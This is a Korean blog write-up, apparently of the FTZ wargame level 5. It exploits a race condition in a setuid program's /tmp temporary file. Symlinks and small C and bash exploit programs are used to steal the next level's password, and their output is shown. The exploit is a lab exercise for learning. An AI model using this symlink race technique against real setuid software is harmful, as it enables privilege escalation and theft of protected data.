본문 바로가기

Learning/└◆System Hacking

[War Game] FTZ LEVEL 5

 


 <FTZ LEVEL5>


 

$ id

 uid=3005(level5) gid=3005(level5) groups=3005(level5)

 

$ cat hint


/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

 

 

level5.tmp 라는 파일이 생성되는 것 같다.

/usr/bin 에 가보면 해당 파일이 존재하는 것을 볼 수 있다.

 

$ ls -l /usr/bin/level5

-rwsr-x---    2 level6   level5      14402 Mar 29  2003 /usr/bin/level5 


SETUID 권한이 있고 level5 그룹은 실행 권한만 있다.

/usr/bin/level5 프로그램을 실행시켜 본다.

아무일도 일어나지 않는다.

/tmp 에도 level5.tmp 가 존재하지 않는다.

 

아마 프로그램이 실행되면 level5.tmp가 생성되고 바로 삭제되는 것 같다.

 

여기서 포인트는 level5.tmp를 미리 생성해보면 어떨까 이다.

 

예를 들어

프로그램이

level5.tmp를 생성하고

무언가 내용을 삽입한뒤

다시 삭제하는 동작을 하는 프로그램이라면

 

내가 미리 level5.tmp파일을 생성하고 그 내용을 출력하게 동작 시킨다면

 

/usr/bin/level5의 실행동작 과정중

무언가 내용을 삽입할 때

동시에 내가 만들 파일(level5.tmp)이 동작하게 하는 것이다.

삭제 되기전에 안에 내용을 출력할수 있도록.

 

$ touch level5.tmp
$ /usr/bin/level5
$ cat level5.tmp

next password : what the hell

 

$ ls -l level5.tmp

-rw-rw-r--    1 level5   level5         31 Jan 16 19:28 level5.tmp 

 

성공했다.

이런 동작을 레이스 컨디션(Race Condition) 이라고 한다.

프로세서들이 여러번 실행되는 과정에서 실행 순서가 뒤바뀌어 실행자가 원하는 결과를 얻는 것이다.

일종의 경쟁 상태 라고 해석하면 된다.

 

아마도 위 코드에선 fopen을 사용한 것 같다.

fopen의 특징으로는 경로안에 해당 파일이 없을 경우 새로 생성하고,

만약 존재하면 그 파일을 사용한다. 그냥 덮어써버리는 것이다.

 

이를 이용해서 내가 만든 프로그램을 level5.tmp에 심볼릭링크 하고

그안에 내용이 추가되면 남기도록 하거나 혹은 출력하게 하고

그 동작을 반복 시킨다면 기존에 /usr/bin/level5 프로그램이 실행되는 과정에서

passwd가 출력되는 순간을 잡아낼 것이다.

 

$ vi test.txt

$ ln -s /tmp/test.txt /tmp/level5.tmp

$ /usr/bin/level5

$ cat /tmp/level5.tmp

$ cat test.txt

확인해 보길 바란다.

 

 

추가적인 실습으로

레이스 컨디션을 이용한 스크립트를 제작해 보자.

 

(1) vi runTarget

 #include <unistd.h>

 

int main(void)

{

int i;

for(i=0; i<10; i++)

{

system("/usr/bin/level5 &");

}

}

 

(2) vi Attack_Target

#include<unistd.h>

 

int main()

{

         int i;

 

         system("touch /tmp/18pass.txt");

         for(i=0; i<=10; i++)

         {

         system("ln -s /tmp/18pass.txt /tmp/level5.tmp");

         }

         system("cat /tmp/18pass.txt");

         system("rm -rf /tmp/18pass.txt");

}

 

(3)

#!/bin/bash

 

#

# # gcc -o Attack_Target Attack_Target.c

# # gcc -o runTarget runTarget.c

# # ./Attack_Target.sh

#

 

./runTarget &

./Attack_Target

 

이상태 에서 ./Attack_Target.sh 을 실행한 결과

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

next password : what the hell

 

LEVEL5에서 요구하는 레이스 컨디션의 취약점을 이용한 방식의 풀이 이다.

 

'Learning > └◆System Hacking' 카테고리의 다른 글

[War Game] FTZ LEVEL 7  (0) 2017.01.22
[War Game] FTZ LEVEL 6  (0) 2017.01.22
[War Game] FTZ LEVEL 4  (0) 2017.01.21
[War Game] FTZ LEVEL 3  (0) 2017.01.21